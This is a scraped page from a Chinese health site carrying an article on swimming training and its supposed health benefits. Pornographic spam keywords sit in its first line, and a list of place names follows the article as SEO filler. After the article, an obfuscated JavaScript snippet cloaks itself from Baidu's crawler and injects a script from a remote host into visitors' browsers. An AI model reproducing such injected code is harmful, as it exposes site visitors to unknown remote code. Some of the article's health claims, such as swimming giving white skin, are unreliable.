亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁 > 健康 > 運(yùn)動(dòng)健身 > 正文

游泳運(yùn)動(dòng)訓(xùn)練注意什么?

2017-04-15 10:26:50  來源:360常識網(wǎng)   熱度:
導(dǎo)語:游泳運(yùn)動(dòng)是男女老幼都喜歡的體育項(xiàng)目之一,游泳的好處有很多,游泳可以保持身體健康,可以減肥,可以鍛煉肺活量。很多人喜歡游泳,卻沒有很

游泳運(yùn)動(dòng)是男女老幼都喜歡的體育項(xiàng)目之一,游泳的好處有很多,游泳可以保持身體健康,可以減肥,可以鍛煉肺活量。很多人喜歡游泳,卻沒有很好的游泳方法,游泳需要有技巧才能更好的發(fā)揮游泳的作用。游泳訓(xùn)練應(yīng)該怎樣進(jìn)行呢,游泳需要專業(yè)的指導(dǎo)和正規(guī)的訓(xùn)練嗎?游泳訓(xùn)練又需要多久的時(shí)間呢?

游泳,是在水上靠自身漂浮,借自身肢體和軀體的動(dòng)作在水中運(yùn)動(dòng)前進(jìn)的技能。游泳運(yùn)動(dòng)可分為競技游泳和實(shí)用游泳,競技游泳是奧林匹克運(yùn)動(dòng)會(huì)中的第二大項(xiàng)目,它包括蝶泳、仰泳(也稱背泳)、蛙泳和捷泳(也稱爬泳/自由泳)四種泳姿的競速項(xiàng)目,以及花樣游泳等。

在游泳過程中,由于水溫的刺激,機(jī)體為了保證足夠的溫度。皮膚血管參與了重要的調(diào)節(jié)作用,冷水的刺激能使皮膚血管收縮,以防熱量擴(kuò)散到體外。同時(shí)身體又加緊產(chǎn)生熱量,使皮膚血管擴(kuò)張,改善對皮膚血管的供血,這樣長期的堅(jiān)持鍛煉能使皮膚的血液循環(huán)得到加強(qiáng)。另外,水是十分柔軟的液體,而由于水波浪的作用,不斷對人體表皮進(jìn)行摩擦,從而使皮膚得到更好的放松和休息,所以經(jīng)常參加游泳鍛煉的人,都有一身光滑潔白、柔軟的皮膚。

游泳池的水溫常為26度到28度,在水中浸泡散熱快,耗能大。為盡快補(bǔ)充身體散發(fā)的熱量,以供冷熱平衡的需要,神經(jīng)系統(tǒng)便快速做出反應(yīng),使人體新陳代謝加快,增強(qiáng)人體對外界的適應(yīng)能力,抵御寒冷。經(jīng)常參加冬泳的人,由于體溫調(diào)節(jié)功能改善,就不容易傷風(fēng)感冒,還能提高人體內(nèi)分泌功能,使腦垂體功能增加,從而提高對疾病的抵抗力和免疫力。

學(xué)會(huì)了游泳后,要注意一些游泳事項(xiàng),游泳前需要做的準(zhǔn)備活動(dòng),游泳時(shí)又需要注意的方面也很多,所以游泳并不是下水去游就可以了。游泳訓(xùn)練還需要注意安全,和有規(guī)律的訓(xùn)練,這樣游泳才真的可以有效果,才能對身體有好處。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
乌拉特前旗| 林芝县| 新建县| 乌苏市| 建平县| 永城市| 吉木乃县| 肥乡县| 樟树市| 吴桥县| 会宁县| 岳阳市| 蓬溪县| 云林县| 建昌县| 丰台区| 宁城县| 会泽县| 太湖县| 仲巴县| 盘山县| 遂宁市| 金坛市| 涟源市| 翁源县| 甘孜县| 台东市| 沾化县| 綦江县| 安陆市| 广东省| 乐业县| 新乡市| 长垣县| 泗水县| 万盛区| 航空| 许昌县| 东台市| 湖南省| 梅河口市|